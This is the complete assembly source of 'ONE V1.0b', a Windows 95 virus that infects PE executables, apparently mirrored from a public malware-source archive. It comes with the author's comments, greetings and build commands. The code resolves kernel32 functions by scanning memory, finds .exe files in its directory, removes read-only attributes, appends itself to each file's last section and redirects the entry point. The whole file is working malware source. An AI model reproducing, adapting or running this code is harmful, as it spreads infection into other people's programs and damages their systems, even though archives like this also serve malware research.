mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
701 lines
30 KiB
NASM
701 lines
30 KiB
NASM
|
|
||
|
; ONE V1.0b By JFK/SGWW
|
||
|
;
|
||
|
;
|
||
|
; ONE is not only my first Win95 virus, but also my first virus
|
||
|
; which I have released. I'm not really all that proud of it,
|
||
|
; cause it didn't turn out at all to be what I had expected. But hey,
|
||
|
; maybe next time :) Hmmm, this virus really has no chance of
|
||
|
; spreading because it never moves out of its current directory.
|
||
|
; It's more or less just a learning experience.
|
||
|
;
|
||
|
; Features:
|
||
|
; * File Mapping (though it's sorta pointless because off all
|
||
|
; the normal reads)
|
||
|
; * Capable of infecting read only files.
|
||
|
; * Only increases a files size if it has to.
|
||
|
; * LOTS O' COMMENTS!!!! :-)
|
||
|
;
|
||
|
; Description:
|
||
|
; One will look in the current directory for *.exe files until
|
||
|
; it finds one that it should/can infect or until there are no
|
||
|
; more exe files. When a exe file is found, One reads in the PE
|
||
|
; header, and object table. One closes the file and looks for
|
||
|
; the next exe file if it determines the current file has already
|
||
|
; been infected. If the file has not been infected, One figures
|
||
|
; out all the new sizes of objects and stuff like that for the
|
||
|
; host. One then maps the file to memory, fills in the new PE
|
||
|
; header, object table, and appends the virus code to the end of
|
||
|
; the last object. One then unmaps the file, and closes it which
|
||
|
; automatically saves the changes made while mapped. One then
|
||
|
; starts all over looking for more *.exe files, if one is not found,
|
||
|
; control is given to the host's original entry point.
|
||
|
;
|
||
|
; Notes:
|
||
|
; * ONE will NOT work on WinNT
|
||
|
; * First generations crash. (because OldEA is 0)
|
||
|
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
|
||
|
;
|
||
|
; Greetz:
|
||
|
; Dakota: Your web page looks pretty nice!
|
||
|
; #virus & #vir (undernet): hiya :)
|
||
|
; SGWW: Thanx for accepting me as one of you.
|
||
|
; paw: Watch out pal, I've been practicing my trivia!
|
||
|
; RAiD: alt.comp.virus.raid-vs-avers??? :)
|
||
|
; Yesna: Did you forget your password on X? You never have ops! =)
|
||
|
; Opic: Did you find any good BBS's yet!?!? heheh
|
||
|
; LovinGod: You need a book on winsock bro! ;)
|
||
|
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
|
||
|
; Gloomy: ne ebi mozgi! :))))
|
||
|
;
|
||
|
; Assemble with:
|
||
|
; tasm32 -ml -m5 -q -zn one.asm
|
||
|
; tlink32 -Tpe -c -x -aa one,,, import32
|
||
|
; pewrsec one.exe
|
||
|
|
||
|
.386p
|
||
|
.model flat
|
||
|
|
||
|
include Win32API.inc
|
||
|
|
||
|
v_size equ v_end - v_start ;Virus absolute size in filez.
|
||
|
|
||
|
|
||
|
extrn ExitProcess :proc
|
||
|
|
||
|
.data
|
||
|
db ? ;Some dummy data so tlink32 dont yell.
|
||
|
|
||
|
.code
|
||
|
v_start:
|
||
|
push eax ;Save room for old Entry Point.
|
||
|
pushad ;Save registers.
|
||
|
add esp, 36d ;ESP->After saved registers+4.
|
||
|
|
||
|
call OldTrick ;Get delta offset.
|
||
|
OldTrick: pop ebp
|
||
|
sub ebp, offset OldTrick ;EBP = delta offset.
|
||
|
|
||
|
mov eax, [ebp+OldEA] ;Address for return.
|
||
|
push eax ;Save it.
|
||
|
sub esp, 32d ;Fix stack.
|
||
|
|
||
|
mov eax, 15d
|
||
|
mov [ebp+lpfGetProcAddress], eax
|
||
|
|
||
|
findK32PEHeader:
|
||
|
mov edi, 0BFF6FFFFh ;Will be inc'ed later
|
||
|
mov ecx, 00000300h ;Scan this many bytes.
|
||
|
mov eax, 00004550h ;Scan for "PE\0\0".
|
||
|
|
||
|
F_PE_I_Edi:
|
||
|
inc edi
|
||
|
Find_PE:
|
||
|
repne scasb ;Repeat while not equal, scan byte.
|
||
|
jne RestoreHost ;Bomb if not found.
|
||
|
|
||
|
cmp [edi-1], eax ;Is this dword "PE/0/0"?
|
||
|
jne Find_PE ;Nope, continue scanning.
|
||
|
|
||
|
dec edi ;EDI was +1 off from Repne Scasb
|
||
|
mov bx, word ptr [edi+16h] ;Get characteristics word.
|
||
|
and bx, 0F000h ;Unmask the bytes we need.
|
||
|
cmp bx, 2000h ;Is it 2000h (a DLL)?
|
||
|
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
|
||
|
|
||
|
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
|
||
|
mov [ebp+K32Base], eax ;Save Image base.
|
||
|
mov ebx, [edi+78h] ;Get RVA of Export Table.
|
||
|
add ebx, [ebp+K32Base] ;Add Base Address.
|
||
|
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
|
||
|
add edi, [ebp+K32Base] ;Add Base Address.
|
||
|
|
||
|
;Determine offset for unnamed functions.
|
||
|
mov ecx, [ebx+14h] ;Number of functions...
|
||
|
sub ecx, [ebx+18h] ;...less number of names...
|
||
|
mov eax, 4 ;...times by four.
|
||
|
mul ecx ;Do it.
|
||
|
mov [ebp+UnnamedOffset], eax ;Save it.
|
||
|
|
||
|
;Calculate number of double words in string pointer array.
|
||
|
mov ecx, [ebx+18h] ;Number of names...
|
||
|
mov eax, 4 ;...times by four.
|
||
|
mul ecx ;Do it.
|
||
|
xchg ecx, eax ;CX=Num dwords.
|
||
|
|
||
|
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
|
||
|
|
||
|
CheckFunctionName:
|
||
|
sub ecx, 4 ;Next name.
|
||
|
mov edi, edx ;Base address...
|
||
|
add edi, ecx ;...plus array index.
|
||
|
mov edi, [edi] ;Get RVA of name.
|
||
|
add edi, [ebp+K32Base] ;Add base address.
|
||
|
|
||
|
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
|
||
|
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
|
||
|
call ExtractAbsoluteAddress ;Check this name for it.
|
||
|
|
||
|
cmp ecx, 0 ;Checked all the names?
|
||
|
jne CheckFunctionName ;Nope. Check the next name.
|
||
|
|
||
|
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
|
||
|
je RestoreHost ;Nope! :(
|
||
|
|
||
|
;Get all of our needed API offsets from memory.
|
||
|
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
|
||
|
mov edx, esi ;Same.
|
||
|
GFO_NextChar:
|
||
|
mov bl, [edx] ;bl = next char in table.
|
||
|
cmp bl, 0 ;Is it 0?
|
||
|
je GFO_ItsZero ;Yeah.
|
||
|
cmp bl, '-' ;Is it the end of the table?
|
||
|
je After_GFO ;Yeah, continue.
|
||
|
inc edx ;Next char.
|
||
|
jmp GFO_NextChar ;Loop.
|
||
|
GFO_ItsZero:
|
||
|
inc edx ;EDX -> where offset will go.
|
||
|
mov eax, esi ;EAX -> function name.
|
||
|
push edx ;Save EDX.
|
||
|
call MyGetProcAddress ;Get this function's offset.
|
||
|
jc RestoreHost ;Quit on fail.
|
||
|
pop edx ;Restore EDX.
|
||
|
mov [edx], eax ;Save offset.
|
||
|
add edx, 4 ;EDX -> next functions name.
|
||
|
mov bl, [edx] ;BL = first char of name.
|
||
|
cmp bl, '-' ;Are we done yet?
|
||
|
je After_GFO ;Yep.
|
||
|
mov esi, edx ;ESI -> Next functions name.
|
||
|
inc edx ;Check next char.
|
||
|
jmp GFO_NextChar ;Do it.
|
||
|
After_GFO:
|
||
|
|
||
|
;Look for FIRST *.exe file.
|
||
|
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||
|
push eax
|
||
|
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
|
||
|
push eax
|
||
|
call [ebp+lpfFindFirstFileA] ;Direct API call.
|
||
|
;On return, if a file with the name is found, eax = the handle,
|
||
|
;otherwise eax=FFFFFFFF
|
||
|
cmp eax, 0FFFFFFFFh ;No file found?
|
||
|
je RestoreHost ;No more exe files in this folder.
|
||
|
mov [ebp+FoundFileHandle], eax ;Save handle.
|
||
|
|
||
|
MainLoop:
|
||
|
call ReadInPEHeader ;Read in the files PE header.
|
||
|
cmp ebx, 0 ;Did we fail?
|
||
|
je FindNextFile ;Next file on failure.
|
||
|
|
||
|
call SetNOAttribs ;Remove files attributes.
|
||
|
jc FindNextFile ;Couldnt set attributes.
|
||
|
|
||
|
call OpenFile ;Open the file.
|
||
|
jc FindNextFile ;Couldnt open file.
|
||
|
|
||
|
call MapFile ;Map this file into memory
|
||
|
jc MapFailed ;Couldn't map file.
|
||
|
|
||
|
call InfectFile ;Infect it.
|
||
|
|
||
|
push dword ptr [ebp+MapBaseAddr]
|
||
|
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
|
||
|
|
||
|
MapFailed:
|
||
|
call CloseFile ;Close the file.
|
||
|
|
||
|
call RestoreAttribs ;Restore the original attributes.
|
||
|
|
||
|
|
||
|
FindNextFile:
|
||
|
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||
|
push eax
|
||
|
push dword ptr [ebp + offset FoundFileHandle]
|
||
|
;Handle from previous searches.
|
||
|
call [ebp+lpfFindNextFileA] ;Do it.
|
||
|
or eax, eax ;Success?
|
||
|
jnz MainLoop ;Yes, Continue search.
|
||
|
|
||
|
RestoreHost:
|
||
|
popad
|
||
|
ret
|
||
|
|
||
|
;***********************
|
||
|
;****** Functions ******
|
||
|
;***********************
|
||
|
|
||
|
;**** InfectFile ****
|
||
|
|
||
|
InfectFile PROC
|
||
|
;Append virus code to end of last object.
|
||
|
mov edx, [ebp+OldPhysSize] ;Physical size of object.
|
||
|
add edx, [esi+20d] ;Physical offset of object.
|
||
|
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
|
||
|
|
||
|
lea eax, v_start ;EAX = start of virus.
|
||
|
add eax, ebp ;Plus delta offset.
|
||
|
|
||
|
mov ecx, v_size ;Number of bytes to write.
|
||
|
call WriteMem ;write it.
|
||
|
|
||
|
;Write new object table to host.
|
||
|
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
|
||
|
add eax, 3Ch ;Offset of -> to PE header.
|
||
|
mov eax, [eax] ;EAX -> PE header
|
||
|
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||
|
add eax, 18h ;EAX -> AFTER flags field.
|
||
|
xor edx, edx ;EDX = 0h
|
||
|
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
|
||
|
add edx, eax
|
||
|
|
||
|
lea eax, ObjectTable ;EAX -> new object table.
|
||
|
add eax, ebp ;Add delta offset.
|
||
|
|
||
|
mov ecx, 240d ;Size of new object table.
|
||
|
call WriteMem ;Write it.
|
||
|
|
||
|
;Write new PE header to host.
|
||
|
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
|
||
|
add edx, 3Ch ;Offset of -> to PE header.
|
||
|
mov edx, [edx] ;EDX -> PE header
|
||
|
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||
|
|
||
|
lea eax, PE_Header ;EAX = offset of new PE header.
|
||
|
add eax, ebp ;Plus delta offset.
|
||
|
|
||
|
mov ecx, 54h ;Size of new PE header.
|
||
|
call WriteMem ;Write it.
|
||
|
|
||
|
ret
|
||
|
InfectFile ENDP
|
||
|
|
||
|
;**** WriteMem ****
|
||
|
|
||
|
WriteMem PROC
|
||
|
WM_NextByte:
|
||
|
mov bl, [eax] ;Byte from virus.
|
||
|
mov [edx], bl ;Write to host.
|
||
|
dec ecx ;One less byte to write.
|
||
|
inc eax ;Next virus byte.
|
||
|
inc edx ;Next target byte.
|
||
|
cmp ecx, 0 ;Did we write the whole virus?
|
||
|
jne WM_NextByte ;Nope, do next byte.
|
||
|
ret
|
||
|
WriteMem ENDP
|
||
|
|
||
|
;**** ReadInPEHeader ****
|
||
|
|
||
|
ReadInPEHeader PROC
|
||
|
call SetNOAttribs ;Needed for OpenFile.
|
||
|
jc RIPH_Failed ;Couldnt remove attributes.
|
||
|
call OpenFile ;Open the file.
|
||
|
jc RIPH_Failed ;Couldnt open this file.
|
||
|
|
||
|
;Move file pointer to where the offset to PE should be.
|
||
|
push 0 ;FILE_BEGIN = 00000000h
|
||
|
push 0 ;High order 32 bits to move.
|
||
|
mov eax, 3Ch ;-> offset of PE header.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||
|
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||
|
|
||
|
;Read in offset of PE header in file.
|
||
|
push 0
|
||
|
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||
|
push eax
|
||
|
push 4 ;# of bytes to read.
|
||
|
lea eax, [ebp+DataFromFile] ;Buffer for read.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||
|
call [ebp+lpfReadFile] ;Read from file.
|
||
|
|
||
|
;Move the file pointer to the PE header.
|
||
|
push 0 ;FILE_BEGIN = 00000000h
|
||
|
push 0 ;High order 32 bits of move.
|
||
|
mov eax, [ebp+DataFromFile] ;Offset of PE header.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||
|
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||
|
|
||
|
;Read in the PE header.
|
||
|
push 0
|
||
|
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||
|
push eax
|
||
|
push 54h ;# of bytes to read.
|
||
|
lea eax, [ebp+PE_Header] ;Buffer for read.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||
|
call [ebp+lpfReadFile] ;Read from file.
|
||
|
|
||
|
;Do some checks.
|
||
|
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||
|
cmp eax, 54h ;Did we read in enough?
|
||
|
jne RIPH_Failed ;Nope.
|
||
|
mov eax, [ebp+Reserved9] ;EAX = infection marker.
|
||
|
cmp eax, 0h ;Is it infected already?
|
||
|
jne RIPH_Failed ;Yes.
|
||
|
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
|
||
|
cmp ax, 'EP' ;Is this a PE file?
|
||
|
jne RIPH_Failed ;Nope.
|
||
|
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
|
||
|
cmp ax, 6 ;Too many objects?
|
||
|
ja RIPH_Failed ;Yep
|
||
|
|
||
|
;Move file pointer to object table in file.
|
||
|
push 0 ;FILE_BEGIN = 00000000h
|
||
|
push 0 ;High order 32 bits of move.
|
||
|
xor eax, eax
|
||
|
mov ax, [ebp+NT_HDR_Size] ;NT header size.
|
||
|
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
|
||
|
add eax, 18h ;AFTER flags field in header.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||
|
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||
|
|
||
|
;Read in object table.
|
||
|
push 0
|
||
|
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||
|
push eax
|
||
|
push 240d ;# of bytes to read.
|
||
|
lea eax, [ebp+ObjectTable] ;Buffer for read.
|
||
|
push eax
|
||
|
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||
|
call [ebp+lpfReadFile] ;Read from file.
|
||
|
|
||
|
;Do some checks.
|
||
|
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||
|
cmp eax, 240d ;Did we read enough?
|
||
|
jne RIPH_Failed ;Nope.
|
||
|
|
||
|
;Save Original entry point.
|
||
|
mov eax, [ebp+ImageBase] ;Files base address
|
||
|
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
|
||
|
mov [ebp+OldEA], eax ;Save it.
|
||
|
|
||
|
;** Figure out sizes for object and size of file **
|
||
|
|
||
|
;Get offset to DATA of the object we will infect.
|
||
|
xor eax, eax
|
||
|
mov ax, [ebp+NumbOfObjects] ;Number of objects.
|
||
|
dec eax ;We want last object.
|
||
|
mov ecx, 40 ;Each object 40 bytes
|
||
|
xor edx, edx
|
||
|
mul ecx ;#OfObj-1*40=last object.
|
||
|
lea esi, [ebp+ObjectTable] ;ESI -> object table.
|
||
|
add esi, eax ;ESI = ptr to last Object Entry.
|
||
|
|
||
|
;Set new physical size for object.
|
||
|
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
|
||
|
mov eax, [esi+16d] ;Get physical size of object.
|
||
|
mov [ebp+OldPhysSize], eax ;Save it.
|
||
|
push eax ;Save for figuring new entry point.
|
||
|
add eax, v_size ;Size of virus.
|
||
|
call AlignFix ;Figure new size.
|
||
|
mov dword ptr [esi+16d], eax ;Set new physical size.
|
||
|
|
||
|
;Set new virtual size for object.
|
||
|
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
|
||
|
push ecx ;Save for below.
|
||
|
mov eax, [esi+8] ;Get object virtual size.
|
||
|
add eax, v_size ;Add our virtual size.
|
||
|
call AlignFix ;Set on obj alignment.
|
||
|
mov dword ptr [esi+8], eax ;Set new virtual size.
|
||
|
|
||
|
mov [esi+36d], 0C0000040h ; set object flags
|
||
|
|
||
|
;Set new image size.
|
||
|
pop ecx ;ECX = object alignment vlaue.
|
||
|
mov eax, v_size ;EAX = size of virus.
|
||
|
add eax, dword ptr [ebp+ImageSize] ;add to old image size
|
||
|
call AlignFix ;Figure new size.
|
||
|
mov [ebp+ImageSize], eax ;Set new ImageSize.
|
||
|
|
||
|
;Set new entrypoint.
|
||
|
pop eax ;EAX = physical size of infected object.
|
||
|
add eax, [esi+12d] ;Add objects RVA.
|
||
|
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
|
||
|
|
||
|
;** Figure new physical size for mapping. **
|
||
|
|
||
|
;Get files size.
|
||
|
push 0
|
||
|
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
|
||
|
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
|
||
|
mov [ebp+SizeOfHost], eax ;Save size.
|
||
|
mov [ebp+Reserved9], eax ;Mark as infected.
|
||
|
|
||
|
;Figure new size.
|
||
|
mov ebx, [esi+16d] ;Object physical size.
|
||
|
add ebx, [esi+20d] ;Add physical offset of object.
|
||
|
cmp ebx, eax ;Which is larger?
|
||
|
ja RIPH_NewSize ;File size should be larger.
|
||
|
|
||
|
jmp RIPH_Done ;Return success.
|
||
|
|
||
|
RIPH_NewSize:
|
||
|
mov ecx, [ebp+FileAlign] ;File align value
|
||
|
mov eax, ebx ;Size now.
|
||
|
call AlignFix ;Figure new size.
|
||
|
mov [ebp+SizeOfHost], eax ;Save new size.
|
||
|
jmp RIPH_Done
|
||
|
|
||
|
RIPH_Failed:
|
||
|
xor ebx, ebx ;Mark failure.
|
||
|
|
||
|
RIPH_Done:
|
||
|
call CloseFile ;Close the file.
|
||
|
call RestoreAttribs ;Restore its attributes.
|
||
|
ret
|
||
|
ReadInPEHeader ENDP
|
||
|
|
||
|
;**** SetNOAttribs ****
|
||
|
;This function first saves a files attributes to OrigFileAttribs,
|
||
|
;then sets the files attributes to "normal" so that the file can
|
||
|
;be written to. On errors, the carry flag is set.
|
||
|
|
||
|
SetNOAttribs PROC
|
||
|
;Get the files attributes.
|
||
|
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||
|
push eax ;Push found files name.
|
||
|
call [ebp+lpfGetFileAttributesA]
|
||
|
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
|
||
|
|
||
|
;Set file attributes to none so we can write to it if needed.
|
||
|
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
|
||
|
push eax
|
||
|
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||
|
push eax ;Push files name to stack.
|
||
|
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||
|
ret
|
||
|
SetNOAttribs ENDP
|
||
|
|
||
|
;**** MapFile ****
|
||
|
;This proc gets a files(file in FileFoundData) size, creates a mapped
|
||
|
;object of the size needed, then maps the file into the object created.
|
||
|
;Carry flag is set on errors.
|
||
|
|
||
|
MapFile PROC
|
||
|
|
||
|
;Create File mapping object.
|
||
|
push 0 ;Dont need a name.
|
||
|
mov eax, [ebp+SizeOfHost] ;Size of object.
|
||
|
push eax
|
||
|
push 0 ;Not used.
|
||
|
push PAGE_READWRITE ;We need read+write access.
|
||
|
push 0 ;Default security.
|
||
|
push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
|
||
|
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
|
||
|
cmp eax, 0 ;Did we fail?
|
||
|
je OF_Failed ;Yep.
|
||
|
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
|
||
|
|
||
|
;Map file into object.
|
||
|
push 0 ;Map WHOLE file.
|
||
|
;Offsets are not needed cause we're gonna start mapping at the
|
||
|
;beginning of the file.
|
||
|
push 0 ;Low order 32 bits of offset.
|
||
|
push 0 ;High order 32 bits of offset.
|
||
|
push FILE_MAP_WRITE ;We need Read+Write access.
|
||
|
push eax ;Handle of mapping object.
|
||
|
call [ebp+lpfMapViewOfFile] ;Map the file
|
||
|
;Dont ask me why, but this returns some fucked up handle
|
||
|
;to memory that doesnt appear to exist, and the file doesnt
|
||
|
;seem to be read into memory until this memory is actually
|
||
|
;accessed(which magically does NOT cause a page fault)!
|
||
|
;weird! (I could be wrong, maybe just my debugger...)
|
||
|
mov [ebp+MapBaseAddr], eax ;Save base Address.
|
||
|
cmp eax, 0 ;Did we fail?
|
||
|
jne MP_Success ;We succeeded
|
||
|
stc
|
||
|
MP_Success:
|
||
|
ret
|
||
|
MapFile ENDP
|
||
|
|
||
|
;**** RestoreAttribs ****
|
||
|
;This proc restores the attributes of the file pointed to by
|
||
|
;FoundFileData. CarryFlag is NOT set on errors.
|
||
|
|
||
|
RestoreAttribs PROC
|
||
|
;Restore file attributes.
|
||
|
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
|
||
|
push eax
|
||
|
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||
|
push eax ;Push found files name.
|
||
|
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||
|
ret
|
||
|
RestoreAttribs ENDP
|
||
|
|
||
|
;**** OpenFile ****
|
||
|
;This proc just opens the file pointed to in FoundFileData.
|
||
|
;If successful, the OPEN files handle is put into OpenFileHandle.
|
||
|
;If errors happen, the carry flag is set.
|
||
|
|
||
|
OpenFile PROC
|
||
|
;Open the file.
|
||
|
push 0
|
||
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
push OPEN_EXISTING
|
||
|
push 0
|
||
|
push 0 ;0=Request exclusive access
|
||
|
push GENERIC_READ + GENERIC_WRITE
|
||
|
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||
|
push eax ;Push files name on stack.
|
||
|
call [ebp+lpfCreateFileA] ;Open file.
|
||
|
cmp eax, 0FFFFFFFFh ;Did we fail?
|
||
|
je OF_Failed ;Jeah, we failed. (SETS CARRY)
|
||
|
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
|
||
|
clc ;Clear carry flag (no errors)
|
||
|
ret
|
||
|
OF_Failed:
|
||
|
stc ;Set carry flag.
|
||
|
ret
|
||
|
OpenFile ENDP
|
||
|
|
||
|
;**** CloseFile ****
|
||
|
;This proc just closes the file pointed to by OpenFileHandle.
|
||
|
;Carry flag is NOT set if errors occur.(what for?)
|
||
|
|
||
|
CloseFile PROC
|
||
|
;Close the file.
|
||
|
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
|
||
|
call [ebp+lpfCloseHandle] ;Close it
|
||
|
ret
|
||
|
CloseFile ENDP
|
||
|
|
||
|
;**** AlignFix ****
|
||
|
|
||
|
AlignFix PROC
|
||
|
xor edx, edx
|
||
|
div ecx ;/alignment
|
||
|
inc eax ;next alignment
|
||
|
mul ecx ;*alignment
|
||
|
ret
|
||
|
AlignFix ENDP
|
||
|
|
||
|
;**** ExtractAbsoluteAddress ****
|
||
|
|
||
|
ExtractAbsoluteAddress PROC
|
||
|
pushad ;Save everything.
|
||
|
|
||
|
mov ecx, [esi] ;Get string length.
|
||
|
add esi, 4 ;Point to string
|
||
|
rep cmpsb ;Check the string.
|
||
|
|
||
|
popad ;Restore everything.
|
||
|
jne EAA_NotString ;This isn't the string - exit.
|
||
|
|
||
|
xchg esi, eax ;ESI = dword for address.
|
||
|
|
||
|
mov eax, [ebx+1Ch] ;RVA of Function Address array.
|
||
|
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
|
||
|
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||
|
add eax, ecx ;Plus array offset.
|
||
|
mov eax, [eax] ;Get the address.
|
||
|
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||
|
|
||
|
mov [esi], eax ;Save the address.
|
||
|
|
||
|
EAA_NotString:
|
||
|
ret
|
||
|
ExtractAbsoluteAddress ENDP
|
||
|
|
||
|
;**** MyGetProcAddress ****
|
||
|
|
||
|
MyGetProcAddress PROC
|
||
|
push eax ;lpProcName.
|
||
|
mov eax, [ebp+ModHandle] ;< hModule.
|
||
|
push eax ;<
|
||
|
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
|
||
|
|
||
|
cmp eax, 0 ;EAX = 0?
|
||
|
jne MyGetProcDone ;Nope, success.
|
||
|
|
||
|
stc ;Failure.
|
||
|
|
||
|
MyGetProcDone:
|
||
|
ret
|
||
|
MyGetProcAddress ENDP
|
||
|
|
||
|
|
||
|
; ****** DATA ******
|
||
|
|
||
|
K32Base dd 0 ;Start of K32 in memory.
|
||
|
UnnamedOffset dd 0
|
||
|
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
|
||
|
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
|
||
|
db "GetProcAddress",0
|
||
|
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
|
||
|
lpsExeFiles db '*.exe',0
|
||
|
OldEA dd 0 ;Original Entry Point(NOT RVA)
|
||
|
OldPhysSize dd 0 ;Old physical size of last object.
|
||
|
FoundFileHandle dd 0 ;Spot for handle of found files.
|
||
|
OpenFileHandle dd 0 ;Spot for handle of open files.
|
||
|
MappedObjectHandle dd 0 ;Handle of mapped object.
|
||
|
OrigFileAttribs dd 0 ;Spot for file attributes.
|
||
|
DataFromFile dd 0 ;Data read from file.
|
||
|
FileBytesRead dd 0 ;Number of bytes read.
|
||
|
MapBaseAddr dd 0 ;Base address of mapped object.
|
||
|
SizeOfHost dd 0 ;Size needed for mapped object.
|
||
|
|
||
|
PE_Header: ;Buffer for PE header.
|
||
|
Sig_Bytes: dd 0
|
||
|
CPU_Type: dw 0
|
||
|
NumbOfObjects dw 0
|
||
|
TimeStamp dd 0
|
||
|
Reserved1 dd 0
|
||
|
Reserved2 dd 0
|
||
|
NT_HDR_Size dw 0
|
||
|
Flags dw 0
|
||
|
Reserved3 dw 0
|
||
|
LMajor db 0
|
||
|
LMinor db 0
|
||
|
Reserved4 dd 0
|
||
|
Reserved5 dd 0
|
||
|
Reserved6 dd 0
|
||
|
EntryPointRVA dd 0
|
||
|
Reserved7 dd 0
|
||
|
Reserved8 dd 0
|
||
|
ImageBase dd 0
|
||
|
ObjectAlign dd 0
|
||
|
FileAlign dd 0
|
||
|
OS_Major dw 0
|
||
|
OS_Minor dw 0
|
||
|
UserMajor dw 0
|
||
|
UserMinor dw 0
|
||
|
SubSysMajor dw 0
|
||
|
SubSysMinor dw 0
|
||
|
Reserved9 dd 0
|
||
|
ImageSize dd 0 ;54h bytes.
|
||
|
|
||
|
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
|
||
|
|
||
|
ImportTable: ; :-)
|
||
|
db 'FindFirstFileA',0
|
||
|
lpfFindFirstFileA dd 0
|
||
|
db 'FindNextFileA',0
|
||
|
lpfFindNextFileA dd 0
|
||
|
db 'GetFileAttributesA',0
|
||
|
lpfGetFileAttributesA dd 0
|
||
|
db 'SetFileAttributesA',0
|
||
|
lpfSetFileAttributesA dd 0
|
||
|
db 'CreateFileA',0
|
||
|
lpfCreateFileA dd 0
|
||
|
db 'SetFilePointer',0
|
||
|
lpfSetFilePointer dd 0
|
||
|
db 'ReadFile',0
|
||
|
lpfReadFile dd 0
|
||
|
db 'GetFileSize',0
|
||
|
lpfGetFileSize dd 0
|
||
|
db 'CreateFileMappingA',0
|
||
|
lpfCreateFileMappingA dd 0
|
||
|
db 'MapViewOfFile',0
|
||
|
lpfMapViewOfFile dd 0
|
||
|
db 'UnmapViewOfFile',0
|
||
|
lpfUnmapViewOfFile dd 0
|
||
|
db 'CloseHandle',0
|
||
|
lpfCloseHandle dd 0
|
||
|
|
||
|
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
|
||
|
|
||
|
v_end:
|
||
|
end v_start
|